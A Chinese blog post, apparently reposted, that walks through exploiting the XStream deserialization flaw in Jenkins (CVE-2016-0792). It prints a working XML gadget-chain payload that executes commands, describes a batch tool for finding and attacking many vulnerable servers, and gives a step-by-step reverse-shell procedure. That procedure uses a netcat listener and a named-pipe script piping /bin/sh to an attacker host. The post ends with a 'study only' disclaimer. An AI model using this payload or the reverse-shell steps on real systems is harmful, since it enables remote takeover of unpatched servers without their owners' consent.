XSTREAM反序列化漏洞利用之JENKINS(CVE-2016-0792)

Posted WhiteCellClub

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSTREAM反序列化漏洞利用之JENKINS(CVE-2016-0792)相关的知识,希望对你有一定的参考价值。

0x00 背景

2016年2月24日, 国外安全研究员发布一篇文章《》。XStream是一个著名的反序列化的库,用途广泛,原文中作者以Jenkins为例构造了一个远程代码执行的EXP。

0X01 分析

XStream漏洞的根源在于Groovy组件的问题,在groovy.util.Expando重载hashCode方法的时候出了问题:

public int hashCode() { 
  Object method = getProperties().get("hashCode"); 
  if (method != null && method instanceof Closure) { 
    // invoke overridden hashCode closure method 
    Closure closure = (Closure) method; 
    closure.setDelegate(this); 
    Integer ret = (Integer) closure.call(); 
    return ret.intValue(); 
  } else { 
    return super.hashCode(); 
  } }

当Expando中存在闭包对象时,Expando会使用该方法计算并返回hashCode,然而这个闭包对象是可控的,从而可以执行我们的代码。 
于是作者给出了EXP,使用XStream解析下面的片段时,会弹出计算器: 

<map> 
  <entry> 
    <groovy.util.Expando> 
      <expandoProperties> 
        <entry> 
          <!--这里是告诉Expando计算hashCode的时候使用我们的闭包方法--!> 
          <string>hashCode</string> 
          <org.codehaus.groovy.runtime.MethodClosure> 
            <delegate class="groovy.util.Expando" reference="../../../.."/> 
            <!--执行打开计算器的操作(当然也可以是别的!)--!> 
            <owner class="java.lang.ProcessBuilder"> 
              <command> 
                <string>open</string> 
                <string>/Applications/Calculator.app</string> 
              </command> 
              <redirectErrorStream>false</redirectErrorStream> 
            </owner> 
            <resolveStrategy>0</resolveStrategy> 
            <directive>0</directive> 
            <parameterTypes/> 
            <maximumNumberOfParameters>0</maximumNumberOfParameters> 
            <method>start</method> 
          </org.codehaus.groovy.runtime.MethodClosure> 
        </entry> 
      </expandoProperties> 
    </groovy.util.Expando> 
    <int>1</int> 
  </entry> 
</map>

EXP执行效果如下图:


执行链如下:

MapConverter#populateMap() 调用了 HashMap#put() 
HashMap#put() 调用了 Expando#hashCode() 
Expando#hashCode() 调用了 MethodClosure#call() 
MethodClosure#call() 调用了 MethodClosure#doCall() 
MethodClosure#doCall() 调用了 InvokerHelper#invokeMethod() 
InvokerHelper#invokeMethod() 调用了 ProcessBuilder#start() 

该EXP的意义是我们在MethodClosure#call()中执行动作,传递进去污染数据,执行任意代码。

更多分析可参见:

0x02 利用

鉴于上面的分析,笔者编写了如下的批量利用EXP,如下图:

XSTREAM反序列化漏洞利用之JENKINS(CVE-2016-0792)


该EXP支持单个IP利用和批量IP利用.

命令格式: hackUtils.py -k [IP Address][::command]

Linux环境下利用效果:

XSTREAM反序列化漏洞利用之JENKINS(CVE-2016-0792)

Windows环境下利用效果:

XSTREAM反序列化漏洞利用之JENKINS(CVE-2016-0792)

2. 批量IP的利用方式如下:

XSTREAM反序列化漏洞利用之JENKINS(CVE-2016-0792)

命令格式: hackUtils.py -k [IP_list][::command]

XSTREAM反序列化漏洞利用之JENKINS(CVE-2016-0792)

0x03 实战

为了方便大家更好地理解和使用该EXP,笔者提供了一个简单的反弹shell案例。

利用前的准备:

1. 一台用于监听的外网服务器:163.**.**.**

2. 一台安装了该EXP的任意主机

3. 一台有漏洞的Jenkins服务器

第一步, 先在我们自己的攻击服务器上开启端口监听:nc -vv -l 8000

XSTREAM反序列化漏洞利用之JENKINS(CVE-2016-0792)

第二步,利用该EXP进行批量检测,如下我们成功找到了很多漏洞未修复的Jenkins服务器。

XSTREAM反序列化漏洞利用之JENKINS(CVE-2016-0792)

第三步, 选择其中一个IP作为目标服务器,测试漏洞是否存在,尝试一下命令: python hackUtils.py -k [目标IP]::”telnet [监听服务器IP] [监听端口]” 来测试是否可以连通。如下图,可以清楚发现该目标服务器存在漏洞,并可以连通攻击主机的监听端口。

XSTREAM反序列化漏洞利用之JENKINS(CVE-2016-0792)

第四步,在目标主机上执行远程命令反弹shell。在这一步,可以通过该EXP执行命令来反弹shell,也可以利用如下姿势。

首先,利用命令下载反弹shell的脚本至服务器, 比如:放置如下的反弹shell的脚本供目标服务器下载.

#!/bin/sha=$(date +%s);backpipe="backpipe""$a";mknod /tmp/$backpipe p;/bin/sh 0</tmp/$backpipe | nc [监听主机IP] [监听端口] 1>/tmp/$backpipe;

XSTREAM反序列化漏洞利用之JENKINS(CVE-2016-0792)

然后,执行脚本;最后反弹shell至攻击主机。

XSTREAM反序列化漏洞利用之JENKINS(CVE-2016-0792)

至此,我们已经成功地利用该EXP获取到了目标服务器的shell了。

声明:仅作学习使用,任何人不可用于非法目的,否则一切后果由其本人承担!

参考:


文章欢迎转载,转载务必保留作者与出处!




以上是关于XSTREAM反序列化漏洞利用之JENKINS(CVE-2016-0792)的主要内容,如果未能解决你的问题,请参考以下文章

漏洞预警 | 完爆 XSTREAM反序列化漏洞!

转载Struts2 S2-052 RCE分析与利用

预警|Struts2 REST插件存在远程代码执行漏洞(CVE-2017-9805)

漏洞 | 启明星辰ADLab:Struts2 S2-052 RCE分析与利用

启明星辰ADLab:Struts2 S2-052 RCE分析与利用

Java反序列化漏洞通用利用分析